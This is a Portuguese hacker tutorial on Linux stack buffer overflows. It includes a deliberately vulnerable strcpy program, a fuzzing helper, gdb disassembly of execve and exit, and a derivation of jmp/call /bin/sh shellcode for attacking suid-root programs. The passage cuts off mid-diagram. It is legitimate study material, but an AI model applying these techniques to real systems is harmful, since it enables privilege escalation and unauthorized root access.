############################################################################# ########################### UNSEKURITY TEAM ################################# ############################################################################# OVERFLOWS "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" Segmentation Fault! Desenvolvido por Nash Leon vulgo coracaodeleao. nashleon@yahoo.com.br Thanks Magic kiss e Unsekurity Team. Voce pode encontrar este e outros textos em: http://unsekurity.virtualave.net/ AVISO: NAO NOS RESPONSABILIZAMOS PELO MAU USO DAS INFORMACOES AQUI CONTIDAS, ESSAS INFORMACOES TEM SOMENTE PROPOSITO EDUCACIONAL.NADA DE BOBAGENS! Sao varios os pre-requisitos p/ a leitura e o entendimento desse arquivo texto. Vamos partir do pre-suposto que voce sabe programar em C, conhece bem o sistema operacional linux, pois como muitos, esse txt estah voltado somente p/ sistemas operacionais linux, digo sistemas, porque hj em dia ha muita diferenca entre Slack, Debian e REd sux. Faz necessario um conhecimento basico de assembly, existe um texto voltado justamente p/ a programacao de shellcodes na home page citada acima que poderah ajudar, mas eh bom ter em mente mais material sobre assembly.Mais uma vez, esse txt eh voltado p/ "Newbies", se voce eh elite vah procurar outro material, as teorias aqui nao serao aproveitadas por voce,caso seja elite!!!Como nos demais txts que escrevi, vou tentar ser o mais pratico possivel, e nesse nao serah diferente. Se quiser se aprofundar mais no assunto, no fim desse txt colocarei alguns links onde vc poderah encontrar mais informacoes sobre esse tao fascinante assunto.Eu iria me aprofundar ao maximo, mas o velho inimigo conhecido como tempo tem me vencido em muitas batalhas, de modo que pretendo nesse txt ficar no basico do basico, mas jah tem material futuro sendo preparado.Espere e verah! Bem,depois de toda essa ladainha,vamos trabalhar. ------------------------------- INDICE ----------------------------------- 1.INTRODUCAO 1.1 O que eh um buffer overflow 1.2 Tirando proveito 1.3 Modelo usual de memoria 2.O STACK OU A PILHA 3.SHELLCODE 3.1 Shellcode /bin/sh 4.FAZENDO UM STACK OVERFLOW 5.PROBLEMAS COM EXPLOITS 6.O HEAP - A NOVA ERA?? 6.1 Alocacao dinamica em C 7.HEAP OVERFLOW 8.O PROJETO OMEGA 9.PROCURANDO FUROS 10.TERMINANDO 10.1 Links e Referencias 10.2 Consideracoes Finais --------------------------------------------------------------------------- ---------------- 1. - INTRODUCAO | ---------------- Buffer overflows nao eh coisa nova.Comenta-se que desde a decada de 70 jah se tinha ideia do potencial desse problema, os programas em C estavam se firmando, e a medida que o tempo passava, os programadores iam crescendo em numero,mas diminuindo em cuidados.No entanto, a popularizacao dessa tecnica soh se efetivou com a chegada do "poderoso worm" de Robert Morris, comecava uma nova geracao de problemas p/ os administradores de redes, essa popularizao dessa tecnica foi muito gradual, poucos eram os documentos disponiveis,fazendo com que a "elite" mantivesse o controle total dela, mas como nem tudo dura p/ sempre, em 1994, surgem reforcos no intuito de massificar os conhecimentos nessa area, isso culmina com os excelentes textos feito pela PHRACK e pelo pessoal da The Hacker's Choice.A realidade disso tudo, eh que ainda hoje ocorrem muitos erros de programacao,surgem novas ferramentas que se dizem "capazes" de nao permitir mais um stack overflow, bem como novos programas que procuram bugs, e ateh mesmo fazedores de shellcodes.Voce deve estar se perguntando, se tem tudo isso,estou perdendo meu tempo lendo isso aqui??Assim como muitos,eu era um grande dependente de fucadores de fora, ficava agindo igual a um kiddie, ateh que num belo dia, surgiu um bug fantastico que estava sendo explorado por pouca gente, mas como eu era dependente e ninguem era louco p/ publicar o programa que explorava esse bug,eu percebi que se eu dependesse dos outros,jamais poderia de fato ter acesso a sistemas grandes,bem como poder um dia ser chamado de fucador.O que eu disse eh o rumo natural das coisas, se chegou ateh aqui, deve ser porque quer caminhar mais longe,fazer seus proprios exploits,e descobrir bugs por conta propria, espero que esse txt seja util p/ alguem, quem dera eu tivesse um desse quando comecei a pesquisar sobre isso!! --------------------------------------------------------------------------- -------------------------------- 1.1 O QUE EH UM BUFFER OVERFLOW | -------------------------------- Os programas que manipulam(recebem) variaveis necessitam de buffers, que sao locais na memoria onde sao guardados os dados que as variaveis recebem, no nosso caso.Quando se declara num programa uma variavel com tamanho X, e na execucao desse programa essa variavel termina recebendo dados maiores que X, entao ocorre o que chamamos de "BUFFER OVERFLOW".Quando isso ocorre,na maioria da vezes, voce receberah uma "Segmentation Fault", isso poderah servir como pista, pois muitas vezes quando isso ocorre, o programa executado poderah ser vulneravel a um buffer overflow.Um exemplo pratico de uma vulnerabilidade deste tipo eh mostrado abaixo: /* PROGRAMA BUGADO - EXEMPLO PRATICO P/ TXT SOBRE OVERFLOWS Compile com $gcc -o bug1 bug1.c */ #include #include main(int argc, char *argv[]){ char buffer[512]; if(argc < 2){ printf("Programa bugado!!\n"); printf("Uso: %s \n",argv[0]); exit(0); } strcpy(buffer,argv[1]); printf("Voce digitou %s!!\n",buffer); return 0; } Este eh o exemplo mais classico que existe.A funcao strcpy() copia o que voce digitar na linha de comando(argv[1]) p/ o buffer declarado (buffer) e como esta funcao nao faz checagem de tamanho, entao bomba!! Esse programa eh vulneravel a um buffer overflow. Teste ele digitando mais de 512 bytes em argv[1].Uma forma pratica seria: [localhost: /]$./bug1 `perl -e 'printf "A" x 530'` Se nao possui perl instalado tente na mao mesmo: [localhost: /]$./bug1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... Um monte de As. Ou se preferir, use o programa abaixo: --------------------------------------------------------------------- /* Simples programa para ver se determinado programa eh vulneravel a um buffer overflow. Desenvolvido por Nash Leon e Unsekurity Team. Thansk Ramona. */ #include #include /* Altere o PATH conforme o local que se encontra o arquivo bugado, bem como o tamanho que iremos usar p/ sobrescrever o buffer */ #define PATH "/tmp/bug1" #define A 0x41 #define TAMANHO 600 main(int argc, char *argv[]) { int i; char *buffer = (char *)malloc(TAMANHO); memset(buffer, A, TAMANHO-1); printf("Enchendo o buffer com caracter A !\n"); execl(PATH,"bug1",buffer,0); } ---------------------------------------------------------------------- Isso eh soh um programa exemplo, voce pode alterar ele e fazer dele um checador de todo e qualquer programa que utilize a linha de comando para pegar argumentos para uma variavel.Fica aih a concepcao, talvez divulgue em breve algo melhor que possuo em maos. Verifique a resposta que surgirah 'Segmentation fault'.Isso serah bastante comum durante nosso estudo. Vamos analisar varios codigos usando a ferramente gdb (Debugador GNU). Se voce nao tiver,ele eh um software gnu(super gratuito!!!) voce poderah acha-lo em qualquer mirror de softwares ou distribuicoes linux que se preze. www.gnu.org ; ftp://ftp.cdrom.com/pub/gnu.Veremos agora como tirar proveito disso tudo. ----------------------- 1.2 - TIRANDO PROVEITO | ----------------------- Sabemos entao quando ocorre um buffer overflow,quando colocamos mais dados que o programa pode suportar.Mas qual o intuito disso tudo? Um programa quando executado possui algumas particularidades, dentre elas destaca-se um artificio usado na computacao p/ que apos o termino da execucao desse programa, o sistema retome ao estado que se encontrava antes, o nome dado a este artificio eh "retorno".Mas para que isso possa acontecer, faz-se necessario alguns procedimentos: Primeiro, salva-se o endereco na memoria referente ao retorno(endereco de retorno) no stack, se a execucao normal do programa termina, o CPU irah saltar(jmp) para o endereco de retorno(return address) e continuar normalmente.Mas se alterarmos a execucao normal do programa usando um buffer overflow a coisa muda,se escrevermos mais dados em uma variavel e esse enchimento alcancar e sobrescrever a regiao da memoria onde estah o codigo de retorno entao ocorre o chamado "overflow".Fazendo isso poderemos mudar o curso de um programa, inserindo codigos nossos capazes de executar comandos como o dono do programa(nosso alvo serao as suid root, programas do superusuario), entao alterando o endereco de retorno, poderemos fazer com que nosso codigo que estah seguindo num argumento de uma funcao p/ encher um buffer possa ser executado. Mais abaixo seguirao melhores explicacoes de como se fazer isso. ------------------------------ 1.3 - MODELO USUAL DE MEMORIA | ------------------------------ O modelo usual de memoria difere de sistema para sistema.Em Linux/i186 ela possui modelo flat de 32 bit.Um programa pode ser dividido em secoes.As secoes sao .text para seu codigo, .data para seus dados, .bss para dados indefinidos.Os programas devem ter no minimo a secao .text. Um esquema para visualizacao disso seria: ------------------- | .DATA | | (Stack e Heap) | ------------------- | .BSS | | (Heap) | ------------------- | .TEXT | ------------------- Como vimos acima, eu coloquei as respectivas regioes onde ocorrem overflows relacionados.Stack overflows ocorrem na regiao .data, heap tambem pode ser usado p/ sobrescrever essa regiao (.data), mas eh usualmente mais usado p/ sobrescrever a regiao .bss. Se voce leu o texto sobre programacao de shellcodes na page do Unsekurity Team verah que nao eh mera coincidencia..:) As regioes onde ocorrem os overflows serao estudadas com mais detalhes mais a frente.Quanto a regiao .TEXT, como dito acima, ela eh a reponsavel por conter segmentos de codigos,os dados nesse segmento sao instrucoes em assembly que o processador executa.Veremos embaixo um outro modelo usual, soh que para uso de memoria em C. Alta --------------- | Stack | --------------- | | | Memoria Livre | | para alocacao | | (heap) | | | --------------- | Var. globais | --------------- | | | Programa | | | --------------- Baixa Essa eh uma visao conceitual do uso de memoria no C, o que temos que ter em mente, e o que mais nos importa no momento, eh diferenciar as regioes onde ocorrem os dois tipos de overflows que serao descritos aqui, a regiao Stack e a regiao Bss onde podemos fazer heap overflows. Lembrando tambem que isso tudo aih eh imaginario, nao vah pensando que eh um quadradinho perfeitinho que vai sendo enchido nao!! ------------------------------------------------------------------ --------------------- 2. O STACK OU A PILHA| --------------------- A regiao conhecida como STACK ou pilha, eh responsavel por receber dados(argumentos) e passa-los p/ as funcoes.Essa regiao possui tamanho relativo(muda quase sempre).O nome que se dah a essa regiao(STACK) eh porque ela pode ser comparada a uma pilha, onde voce vai enchendo ela de dados, soh que ela possui uma particularidade.Essa particularidade consiste em: O ultimo dado a entrar serah o primeiro a sair, chamamos isso de LIFO - last in, first out (ultimo a entrar,primeiro a sair). Na medida em que eh usado, o Stack ou a pilha,chamarei de Stack, cresce p/ baixo, sendo assim, a quantidade de memoria necessaria eh determinada da maneira como o programa foi projetado.Por exemplo, um programa com muitas funcoes recursivas utiliza mais memoria no Stack do que um programa sem funcoes recursivas, justamente porque variaveis locais sao armazenadas no Stack.A parte necessaria para o programa e as variaveis globais(citadas no esquema de memoria acima), eh determinada durante a execucao do programa. Uma pilha(Stack) eh o contrario de uma fila,porque usa o acesso "ultimo a entrar, primeiro a sair", denominado LIFO.Para visualizar um Stack, basta imaginar uma pilha de pratos.O prato da base do Stack eh o ultimo a ser usado e o prato do topo, o primeiro.Stacks sao geralmente utilizados em softwares basicos, incluindo compiladores e interpretadores.Geralmente o C usa o Stack quando passa parametros(argumentos) as funcoes.Dois comandos em assembly sao usado para enviar e retirar dados do Stack, sao eles push e pop, respectivamente. Veremos abaixo o esquema de um Stack em acao: Acao Conteudo do Stack ------ --------------------- push(A) A push(B) A B push(C) A B C pop() /* retira o ultimo */ A B push(N) A B N pop() A B pop() A pop() /* vazio */ Vemos acima o esquema da LIFO - ultimo a entrar,primeiro a sair. Isso eh mais do que o suficiente, espero que tenha ficado claro as coisas para voce,amigo!!Vamos esquentar mais as coisas. ------------- 3. SHELLCODE | ------------- Eu fiz um txt sobre escrita de shellcodes e voce pode encontrar ele na home page citada acima.Ele eh bem completo e ensina ateh um basico sobre assembly, entao amigo, se quiser obter mais dados sobre isso, olhe na home page "http://unsekurity.virtualave.net/", procure esse texto porque lah possui mais informacoes basicas e detalhadas sobre a escrita de shellcodes. Mas nesse daqui darei uma breve explicacao sobre eles e o porque de se usa-los. No exemplo inicial, o do capitulo 1.1, vimos como encher um buffer com As, mas isso nao eh proveitoso,o que se poderia fazer com isso eh tao somente conseguir um DoS(Denial of Service) em servicos remotos p/ intuitos nada simples.Tambem vimos no capitulo 1.2 que podemos sobrescrever o endereco de retorno(return address).Se podemos fazer isso tudo entao devemos raciocinar, ao invez de tacar um monte de As, por que nao colocarmos codigos de maquina para executar alguma coisa, jah que podemos sobrescrever o endereco de retorno p/ apontar para algum lugar na memoria aonde estah inserido nosso codigo?? Exato!!Isso nao soh eh possivel como eh um fato!!Nao tenho conhecimento do cara que descobriu isso,mas deve-se muito a ele! Sobrescrevendo o endereco de retorno fazendo-o apontar p/ o inicio de um codigo nosso, podemos executar o codigo como se fossemos o dono do programa bugado!!Geralmente se procura bugs em programas com suid root ou mesmo em sgid, que nos dao boas permissoes.Digo isso porque em breve descreverei alguns esquemas para banco de dados tambem, coisas um pouco diferentes, fique ligado!:) Bem como dito, o codigo que geralmente usamos, eh chamado de shellcode, pois executamos ele como se fosse uma linha de comando.Descreverei aqui alguns shellcodes,mas nesse texto especifico sobre shellcodes dito acima, encontram-se mais exemplos. Na maioria das vezes, em exploits locais, tudo que queremos eh executar o comando "/bin/sh" ou "/bin/bash" como se fosse root.Abaixo segue um esquema de shellcode para um desses citado: 3.1 - SHELLCODE /BIN/SH ------------------------ Esse existe por aih e eh amplamente difundido,tentarei ser bem pratico ao descrever como se criar um shellcode deste tipo,lembrando, nesse txt nao ensinarei nada sobre assembly, se quiser aprender algo,leia o outro. Vamos lah,veremos agora o codigo em C responsavel pela execucao desse dito cujo: /* Comecando a criar um shellcode */ #include main(){ char *comando[2]; comando[0]="/bin/sh"; comando[1]=NULL; execve(comando[0],comando,NULL); } Compilamos esse programa da seguinte forma usando gcc: [localhost:/]$gcc -o shell -static -ggdb shell.c Apos compilarmos o mesmo, usamos o gdb para analisar seu codigo em asm: [localhost:/]$ gdb shell GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i686-pc-linux-gnulibc1"... (gdb) Em seguida digitamos "disassemble main", para que o gdb nos forneca o codigo da funcao main em linguagem assembly.Veremos: (gdb) disassemble main Dump of assembler code for function main: 0x8048150
: push %ebp 0x8048151 : mov %esp,%ebp 0x8048153 : sub $0x8,%esp 0x8048156 : movl $0x8058b28,0xfffffff8(%ebp) 0x804815d : movl $0x0,0xfffffffc(%ebp) 0x8048164 : push $0x0 0x8048166 : lea 0xfffffff8(%ebp),%eax 0x8048169 : push %eax 0x804816a : mov 0xfffffff8(%ebp),%eax 0x804816d : push %eax 0x804816e : call 0x80483fc 0x8048173 : add $0xc,%esp 0x8048176 : mov %ebp,%esp 0x8048178 : pop %ebp 0x8048179 : ret End of assembler dump. (gdb) Vamos analisar com calma cada linha disso daih. 0x8048150
: push %ebp 0x8048151 : mov %esp,%ebp 0x8048153 : sub $0x8,%esp Essa tres primeiras linhas correspondem ao processo inicial ou procedimento preludio.O que essas linhas fazem, primeiro eh salvar o frame pointer antigo, em seguida faz do atual stack pointer o novo frame pointer(mov %esp,%ebp), logo apos autoriza espaco para as variaveis locais, onde no nosso caso eh: char *comando[2]; Lembrando que ponteiro eh uma word long, entao ele autoriza espaco para duas words ou 8 bytes como vimos(sub $0x8,%esp).Continuando: 0x8048156 : movl $0x8058b28,0xfffffff8(%ebp) Essa gigantesta linha aih nao tem nada de complexo como parece,o que estah sendo feito aih eh a copia do endereco da string "/bin/sh"(valor 0x8058b28) sobre o primeiro ponteiro de comando[] (0xfffffff8(%ebp)). Isto equivale a: comando[0] = "/bin/sh". Continuando: 0x804815d : movl $0x0,0xfffffffc(%ebp) O que foi feito agora eh a copia do valor 0x0, que eh equivalente a NULL, sobre o segundo ponteiro de comando[].Isto eh equivalente a: comando[1] = NULL; em nosso codigo shell.c acima.Continuando: 0x8048164 : push $0x0 Bem amigos, aqui tem inicio a chamada da funcao execve(), lembrando, o programa empurra os argumentos de execve em ordem inversa(do ultimo argumento para o primeiro) sobre o stack.Acima vimos que comeca com 0x0 (NULL).Em nosso fonte shell.c temos: execve(comando[0],comando,NULL); Eh a este NULL que estamos nos referindo.Continuando: 0x8048166 : lea 0xfffffff8(%ebp),%eax Aqui ocorre o carregamento do endereco de comando[] sobre o registrador EAX.Continuando: 0x8048169 : push %eax Esse nao possui segredo, o que ocorreu foi que empurramos o endereco de comando[] que havia sido previamente carregado no registrado EAX sobre o Stack. Continuando: 0x804816a : mov 0xfffffff8(%ebp),%eax Aqui, carregamos o endereco da string "/bin/sh" sobre o registrador EAX.Continuando: 0x804816d : push %eax Novamente a funcao push(), que nos diz dessa vez que estamos empurrando os dados do registrado EAX, que nesse caso eh o endereco da string "/bin/sh", sobre o Stack.Continuando: 0x804816e : call 0x80483fc Aqui acontece o seguinte, ocorre a chamada a biblioteca de procedimentos execve(), ou simplesmente a chamada propriamente dita da funcao execve(). A instrucao chamada empurra o IP(Index Pointer) sobre o Stack. Lembrando que apos a execucao de execve(), nosso programa termina, entao as linhas abaixo seguem para voltar as rotinas anteriores: 0x8048173 : add $0xc,%esp 0x8048176 : mov %ebp,%esp 0x8048178 : pop %ebp 0x8048179 : ret Ocorre aih em cima o seguinte, eh o processo de saida, retorna o velho frame pointer, faz dele o stual stack pointer em seguida esvazia a pilha com pop. e ret retorna p/ o sistema. Agora analisaremos a funcao execve(); (gdb) disassemble execve Dump of assembler code for function execve: 0x80483fc : push %ebp 0x80483fd : mov %esp,%ebp 0x80483ff : push %ebx 0x8048400 : mov $0xb,%eax 0x8048405 : mov 0x8(%ebp),%ebx 0x8048408 : mov 0xc(%ebp),%ecx 0x804840b : mov 0x10(%ebp),%edx 0x804840e : int $0x80 0x8048410 : mov %eax,%edx 0x8048412 : test %edx,%edx 0x8048414 : jge 0x8048426 0x8048416 : neg %edx 0x8048418 : push %edx 0x8048419 : call 0x8050b28 <__normal_errno_location> 0x804841e : pop %edx 0x804841f : mov %edx,(%eax) 0x8048421 : mov $0xffffffff,%eax 0x8048426 : pop %ebx 0x8048427 : mov %ebp,%esp 0x8048429 : pop %ebp 0x804842a : ret 0x804842b : nop End of assembler dump. O codigo parece complicado a primeira vista,muitas instrucoes em assmebly, nao tao conhecidas p/ um newbie, como neg,test,jne, mas que sao explicadas em diversos tutoriais internet a fora, inclusive no meu outro sobre escrita de shellcodes..:)..Vendido meu peixe, vamos prosseguir.A maioria das coisas voce jah pode saber somente olhando e comparando com as explicacoes passadas.Mas vejamos: 0x80483fc : push %ebp 0x80483fd : mov %esp,%ebp 0x80483ff : push %ebx Isso eh o mesmo procedimento inicial descrito na explicacao sobre a funcao main().Pega-se o velho frame pointer e salva-o, em seguida faz do atual stack pointer o novo frame pointer e depois o empurra no stack. Continuando: 0x8048400 : mov $0xb,%eax Copia 0xb sobre EAX, que eh o numero 11 em decimal.Este numero corresponde ao system call execve() na tabela de system calls do sistema.Voce pode conferir essa tabela em /usr/include/sys/syscall.h , nao sei se isso varia de linux para linux,mas creio que nao.Continuando: 0x8048405 : mov 0x8(%ebp),%ebx O que aconteceu acima foi a copia do endereco de "/bin/sh" sobre EBX. Continuando: 0x8048408 : mov 0xc(%ebp),%ecx Copiamos o endereco de comando[] sobre ECX. 0x804840b : mov 0x10(%ebp),%edx Copiamos o endereco do ponteiro nulo (NULL) sobre EDX. 0x804840e : int $0x80 Aqui nos mudamos para o modo kernel. Para o intuito da escrita de shellcodes, isso aqui eh o fim do estudo da funcao execve(), esses comandos que seguem abaixo, jah sao mais complexos e acredite, creio serem inuteis para os nossos objetivos!!Uma vez que se entra no modo kernel, as intrucoes que seguem "nao fazem" parte do nosso programa.Se quiser ver como a coisa vai se complicando digite na linha de comandos do gdb "disassemble __normal_errno_location" e por aih vai. O estudo detalhado acima nos dah uma boa base para sabermos como funciona o processo de execucao de nosso programa shell.c em instrucoes de "maquina". Veremos abaixo alguns passos que nos ajudarao a escrever nosso shellcode. Necessitaremos das seguintes coisas p/ podermos escrever nosso shellcode: 1. Termos a string "/bin/sh" terminada nula em algum lugar na memoria. Lembrando que estamos querendo executar esse comando, se fosse outro, logico que poderiamos mudar isso. 2. Ter o endereco da string "/bin/sh" em algum lugar na memoria seguido por uma word null long.Por que isso? lembra do esquema: comando[1] = NULL; Se faz necessario isso aqui. 3. Copiar 0xb sobre o registrador EAX. Lembrando que de acordo com a tabela de system calls que podemos achar em /usr/include/sys/syscall.h, o numero decimal correspondente ao syscall execve() eh 11 (0xb). 4. Copiar o endereco da string "/bin/sh" sobre o registrador EBX. 5. Copiar o endereco da string "/bin/sh" sobre o registrador ECX. 6. Copiar o endereco da word null long sobre o registrador EDX. 7. Executar a intrucao int $0x80. Para facilitar o aprendizado veremos como cada um dos passos citados acima, no nosso exemplo inicial de shellcode: 1. 0x8048156 : movl $0x8058b28,0xfffffff8(%ebp) 2. 0x804815d : movl $0x0,0xfffffffc(%ebp) 3. 0x8048400 : mov $0xb,%eax 4. 0x8048405 : mov 0x8(%ebp),%ebx 5. 0x8048408 : mov 0xc(%ebp),%ecx 6. 0x804840b : mov 0x10(%ebp),%edx 7. 0x804840e : int $0x80 O esquema acima eh apenas demonstrativo, ainda faltam alguns passos p/ seguir na construcao de um shellcode eficiente.Por exemplo,para evitar que o programa continue buscando instrucoes para o Stack, caso a funcao execve() falhe.Nos precisaremos usar um artificio que faca com que o programa saia limpamente, caso haja falha em execve().Sair limpamente significa voltar a linha de comando, sem que o programa busque dados aleatorios caso execve() falhe.Para fazermos isso basta inserir uma chamada normal de saida junto ao nosso shellcode.Fazemos isso da seguinte forma: Pegamos e compilamos o programa abaixo: ------------------------------------------------------------------------ /* PROGRAMA QUE NOS AJUDARAH A SAIR LIMPAMENTE CASO EXECVE() FALHE Compile com: gcc -o saida -static -ggdb saida.c */ #include void main(){ exit(0); } ----------------------------------------------------------------------- Compilamos ele entao: [localhost:/]$ gcc -o saida -static -ggdb saida.c Logo apos a compilacao,chamamos nosso bom e velho debugador gdb para vermos como isso fica em asm: [localhost:/]$gdb saida GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions.Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details.This GDB was configured as "i686-pc-linux-gnulibc1"... (gdb) Em seguida digitamos "disassemble _exit" para que o gdb nos forneca o que queremos saber.Atencao: digite _exit(com um traco antes, como estah aqui). (gdb) disassemble _exit Dump of assembler code for function _exit: 0x80483e4 <_exit>: push %ebp 0x80483e5 <_exit+1>: mov %esp,%ebp 0x80483e7 <_exit+3>: push %ebx 0x80483e8 <_exit+4>: mov $0x1,%eax 0x80483ed <_exit+9>: mov 0x8(%ebp),%ebx 0x80483f0 <_exit+12>: int $0x80 0x80483f2 <_exit+14>: mov 0xfffffffc(%ebp),%ebx 0x80483f5 <_exit+17>: mov %ebp,%esp 0x80483f7 <_exit+19>: pop %ebp 0x80483f8 <_exit+20>: ret 0x80483f9 <_exit+21>: nop 0x80483fa <_exit+22>: nop 0x80483fb <_exit+23>: nop End of assembler dump. Podemos facilmente ver algumas coisas, vamos analisar este codigo. 0x80483e4 <_exit>: push %ebp 0x80483e5 <_exit+1>: mov %esp,%ebp 0x80483e7 <_exit+3>: push %ebx Procedimento inicial, o mesmo esquema descrito para a funcao execve() acima.Continuando: 0x80483e8 <_exit+4>: mov $0x1,%eax Aqui ele coloca 0x1 (1 em decimal) no registrado EAX.Esse eh o numero correspondente ao system call exit() na tabela de system calls. Continuando: 0x80483ed <_exit+9>: mov 0x8(%ebp),%ebx Aqui copia o endereco de exit, propriamente dito.Por que isso?? Veremos porque logo abaixo.quando virmos algumas linhas de main(). 0x80483f0 <_exit+12>: int $0x80 Muda para o modo kernel. Disassemblando main, teremos: (gdb) disassemble main Dump of assembler code for function main: 0x8048150
: push %ebp 0x8048151 : mov %esp,%ebp 0x8048153 : push $0x0 0x8048155 : call 0x804829c 0x804815a : add $0x4,%esp 0x804815d : lea 0x0(%esi),%esi 0x8048160 : mov %ebp,%esp 0x8048162 : pop %ebp 0x8048163 : ret End of assembler dump. O que nos interessa para entendermos a linha <_exit+9> do codigo asm de exit() eh somente o seguinte: 0x8048153 : push $0x0 0x8048155 : call 0x804829c Como o Stack pega os argumento de tras para frente, na linha do nosso programa saida.c: exit(0), em asm teremos: push $0x0 -> Empurra 0 sobre o Stack. call exit -> Chama a funcao exit(). Isso tudo fica armazenado em: 0x80483ed <_exit+9>: mov 0x8(%ebp),%ebx Eis aih o porque. Quanto a usarmos 0 em exit(), eh somente porque a maioria dos programas retornam 0 na saida para indicar que nao possui erros.Se tiver acesso ao codigo fonte dos programas, verifique, porque isso pode muito bem mudar. Como necessitamos inserir uma saida limpa(caso execve() falhe), descrita no exemplo acima, nossos passos em busca de um shellcode eficiente mudam. Teremos entao agora: 1. Ter a string "/bin/sh" terminada nula em algum lugar na memoria. 2. Ter o endereco da string "/bin/sh" em algum lugar na memoria seguido por uma word null long. 3. Copiar 0xb sobre o registrado EAX. 4. Copiar o endereco do endereco da string "/bin/sh" sobre o registrado EBX. 5. Copiar o endereco da string "/bin/sh" sobre o registrado ECX. 6. Copiar o endereco da null word long sobre o registrador EDX. 7. Executar a instrucao int $0x80. * Aqui comecao exit(). 8. Copiar 0x1 sobre registrado EAX. 9. Copiar 0x0 sobre o registrador EBX. 10.Executar a instrucao $0x80. Como podemos ver, para a funcao exit() nao temos muita coisa,senao tres linhas apenas, expliquei tudo aquilo acima porque quero que voce entenda como a coisa funciona.Nao vejo como saber que necessitamos do passo 9, sem sabermos de onde vem esse 0x0. Lembrando que eh para Newbies que escrevo, nao o termo Newbie do livro "A Internet e os Hackers", onde a unica coisa que escapa eh a capa, tem um bom ditado para isso:"Nao julgue o livro pela capa!", quando falo Newbies, sao sim pesquisadores, pessoas com espirito com fome de conhecimento, mas que por um motivo ou outro,nao conseguem acesso a material de nivel.Manisfestos a parte, vamos continuando nossa jornada. Sabemos os passos que devemos seguir, entao iremos agora formar esses passos num esquema de codigos asm para facilitar ainda mais nosso aprendizado. O esquema seria mais ou menos o seguinte: movl endereco_da_string, endereco_do_endereco_da_string movb $0x0, endereco_do_byte_nulo movl $0x0, endereco_do_nulo movl $0xb, %eax movl endereco_da_string, %ebx leal endereco_da_string, %ecx leal string_nula, %edx int $0x80 movl $0x1, %eax movl $0x0, %ebx int $0x80 /bin/sh vem aqui. Podemos visualizar que estamos bem proximo de conseguir efetivar nosso shellcode.Mas surge um problema, nos nao sabemos onde no espaco da memoria do programa alvo nos iremos exploitar o codigo(e a string que segue ele serah colocada.Uma possivel solucao para isso, seria usar as instrucoes JMP e CALL para circular nosso codigo.Essas instrucoes podem usar enderecamento IP relativo, que despreza que nos podemos saltar para um offset do IP atual sem necessitar saber o endereco exato de onde na memoria nos queremos saltar.Se colocarmos uma instrucao CALL antes da string "/bin/sh" e uma intrucao JMP para ela(instrucao CALL), o endereco da string serah empurrado sobre o Stack como o endereco de retorno(return address) quando CALL for executado.Exato amigo!! Acontecerah exatamente isto que voce estah imaginando.Mas para isso precisamos copiar o endereco de retorno sobre um registrador, com isso a intrucao CALL pode chamar o inicio de nosso codigo.Veremos agora como ficarah nosso esquema em asm: jmp offset-para-chamar # 2 bytes popl %esi # 1 byte movl %esi, array-offset(%esi) # 3 bytes movb $0x0, nullbyte-offset(%esi) # 4 bytes movl $0x0, null-offset(%esi) # 7 bytes movl $0xb, %eax # 5 bytes movl %esi, %ebx # 2 bytes leal array-offset(%esi), %ecx # 3 bytes leal null-offset(%esi), %edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call offset-para-popl # 5 bytes /bin/sh vem aqui # 5 bytes Analizando bem o esquema acima, veremos algumas mudancas, nao nos conceitos,mas na sintaxe asm propriamente dita, explico tudo isso no txt sobre shellcodes,mas abaixo segue uma explicacao simples sobre o esquema acima: jmp offset-para-chamar # 3 bytes popl %esi # 1 byte Essas duas novas linhas sao responsaveis pela mudanca.jmp, como dito era saltar para o endereco, nesse caso offset, declarado em offset-para-chamar. Esse offset eh o endereco de call, apos isso, call chamarah popl %esi.Continuando: movl %esi, array-offset(%esi) # 3 bytes movb $0x0, nullbyte-offset(%esi) # 4 bytes movl $0x0, null-offset(%esi) # 7 bytes movl $0xb, %eax # 5 bytes movl %esi, %ebx # 2 bytes leal array-offset(%esi), %ecx # 3 bytes leal null-offset(%esi), %edx # 3 bytes int $0x80 # 2 bytes Acima segue os nossos passos de 1 a 7, referentes aos codigos de execve(). Continuando: movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes Acima estao os codigos referentes a funcao exit(), descritos nos nossos passos de 8 a 10.Continuando: call offset-para-popl # 5 bytes /bin/sh vem aqui # 8 bytes Aih em cima podemos ver a instrucao call, responsavel por fazer o giro ou circulo.Essa instrucao chama a intrucao popl lah em cima.Voce pode estar se perguntando se esse giro nao seria um loop infinito.Na verdade isso nao acontece, lembrando, estamos trabalhando com assembly, como estamos manipulando enderecos de memoria, o endereco correspondente a instrucao call que eh saltada usando jmp no inicio, nao serah mais chamado, logo nao existe um loop infinito.Acho que as coisas sao mais claras para o pessoal que meche bem com "goto". :) O grafico abaixo pode ajudar voce a compreender melhor tudo o que estah acontecendo aqui: Parte inferior Topo da Memoria da memoria buffer sfp ret a b c <---- [JJSSSSSSSSCCss] [ssss] [0xD8] [0x01] [0x02] [0x03] ^|^ ^| | |||_______||______________| ||_______|| |________| Topo do Stack Parte inferior do Stack Onde: J -> Refere a intrucao JMP. C -> Refere a instrucao CALL. S -> Codigo asm que queremos executar. s -> Codigo da string que queremos executar ("/bin/sh"). buffer -> Nosso buffer vulneravel a overflow. sfp -> O frame pointer. ret -> 